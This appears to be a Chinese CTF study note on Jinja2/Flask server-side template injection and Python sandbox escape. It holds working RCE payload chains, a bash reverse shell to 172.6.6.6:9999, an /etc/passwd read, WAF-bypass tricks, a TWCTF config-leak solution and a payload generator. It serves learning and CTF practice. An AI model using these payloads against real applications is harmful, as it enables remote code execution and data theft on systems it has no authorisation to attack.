Intro
国赛遇到了沙箱逃逸和简单的 SSTI,算是 python sec 的起步吧,最开始在看 bendawang 和 bit2woo 的 python sec,开始了解了一点点基础,在 QCTF 又遇到了 SSTI,以及网鼎杯和 TWCTF。记录一下查到的内容,主要是 Web App 的判断以及 sandbox filter bypass。
关于 SSTI,这里给两篇文章:
http://www.freebuf.com/articles/web/136118.html
http://www.freebuf.com/articles/web/136180.html
http://www.freebuf.com/vuls/83999.html
Basic
-
Flask
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug,模板引擎则使用 Jinja2。
在 Flask 中使用render_template()
方法可以渲染模板,此外也可以使用render_template_string()
。 -
Jinja2
Jinja2 是Flask 作者开发的一个模板系统,起初是仿 django 模板的一个模板引擎,为 Flask 提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
在Jinja2中,存在三种语句:控制结构 {% %}
变量取值 {{ }}
注释 {# #}
Jinja2 模板中使用上述第二种的语法表示一个变量,它是一种特殊的占位符。当利用 Jinja2 进行渲染的时候,它会把这些特殊的占位符进行填充/替换,Jinja2 支持 Python 中所有的 Python 数据类型比如列表、字段、对象等。被两个括号包裹的内容会输出其表达式的值。
在 Jinja2 沙箱中寻找可用方法的核心在于找到可用的库和方法。核心在于几个魔术方法,然后用魔术方法找到<type 'object'>
(python2)或<class 'object'>
(python3)。
核心的原理在文档里有说明:
https://docs.python.org/2/genindex-_.html
https://docs.python.org/3.6/genindex-_.html
测试几个 payload 后,发现魔术方法 __class__
__mro__
__base__
只有 base 可用
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')
在上面的 payload 中,有一条特殊的 RCE 链条,就是寻找 OS 来 RCE,但 __subclasses__()
获取到的次序并不是固定的,以及引用 OS 模块的类不算太多,所以我们需要先寻找到这些类的位置。(这与调用 eval 不同,eval 本身处于内置函数中,大多数情况下都可以获取到)
以下面这个 demo 来获取这些类
import os
from flask import Flask
app = Flask(__name__)
@app.route('/ssti')
def ssti():
op=[]
for i in {}.__class__.__base__.__subclasses__():
if '<class' in str(i):
try:
modules = i.__init__.__globals__.keys() # lookup from global
for module in modules:
if 'os' == module:
op.append(i)
except:
pass
print(op)
return str(op)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000,debug=True)
比如在 python3 环境下有 [<class 'werkzeug.urls.Href'>, <class 'werkzeug.debug.tbtools.Group'>, <class 'tarfile._FileInFile'>, <class 'click.core.Context'>, <class 'urllib.request.ftpwrapper'>, <class 'subprocess.CompletedProcess'>, <class 'werkzeug.serving._SSLContext'>, <class 'click.utils.LazyFile'>, <class 'logging.Formatter'>, <class 'click._compat._AtomicFile'>, <class 'logging.LoggerAdapter'>, <class 'urllib.request.AbstractBasicAuthHandler'>, ...]
,我们需要确认他们的下标来决定我们 payload 使用的下标。不过需要注意的是,这是在 flask 沙箱环境下才会有的类,普通的沙箱逃逸并不能使用。
(那么其他姿势呢?)
Bypass
模版引擎
在 blackhat 的介绍中找到了如何分辨模版引擎:
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
翻译版:
https://zhuanlan.zhihu.com/p/28823933
引其中一张图片:
jinja2 返回的是 7777777 ,通过测试可以确定为 jinja2 ,那么接下来就是确定 jinja2 的其他 payload 如何绕过 filter 了
bypass
对于简单的字符串过滤我们可以使用拼接、编码等方式
'abc''de'
'xxx'.decode('')
'xxxx'[::-1]
在 jinja2-template-injection-filter-bypasses 中找到了利用 jinja2 内置函数绕过的方法。
文中还给出了 __、[、]、|join、args
的绕过方法。
如果过滤内容只存在于某个参数中,可以在其他参数内提交敏感内容,从而 bypass 过滤器
request[request.args.para]¶=xxx GET
request[request.value.para] POST
request[request.cookie.para] COOKIE
request.headers[request.headers.keys()[0]] Headers
如 ?name={{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
并不建议在实际中使用 pop 来获取属性值,因为会扰乱原有的顺序,使用 __getitem__
就可以了,a[2]== a.__getitem__(2)
。
如果 _
也被过滤的话,那么同理,可以使用 name={{request[request.args.param]}}¶m=__class__
。
如果 WAF 升级,[
/]
都被过滤,那我们需要通过其他方式拿到元素,在 jinja2 有一个取得元素的方式是 |attr
,将 request[request.args.param]
替换为 request|attr(request.args.param)
即可。
Bypass other
TWCTF config
需要获取的内容在 config 中,不能使用(、)、self、config
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
利用 __dict__
和 __globals__
获取属性和定义域信息。
可用的上下文变量/函数如下
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config
同时利用上下文获取 config 方式如下
__globals__['current_app'].config
/ top.app.config
两者结合,可得 payload 如
url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config
此外,还可以获取 sys
{{app.__init__.__globals__.sys.modules.app.app.__dict__}}
其他思路,通过 request 回溯法搜索寻找 config 的其他位置
Control Flow
只能使用控制结构时,即{% %},参考 GHOST_URL/wdb-review/#mmmmy-WDB-3rd
使用布尔盲注,或使用 print 语句直接打印。
针对Python3有个脚本会自动帮我们生成需要的控制结构形式的payload:
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
doc
-
设计者文档
提到了内置过滤器使用方法,可参考其中的使用方法绕过黑名单
模板设计者文档 — Jinja2 -
__dict__
、__globals__
、__code__
说明Attribute Meaning Attr __globals__=func_globals A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined. Readonly __dict__ = func_dict The namespace supporting arbitrary function attributes. Writable __code__=func_code The code object representing the compiled function body. Writable Changed in version 2.6: The double-underscore attributes __closure__
,__code__
,__defaults__
, and__globals__
were introduced as aliases for the corresponding func_* attributes for forwards compatibility with Python 3.
从模板引擎分析 SSTI --todo
https://xz.aliyun.com/t/2908#toc-2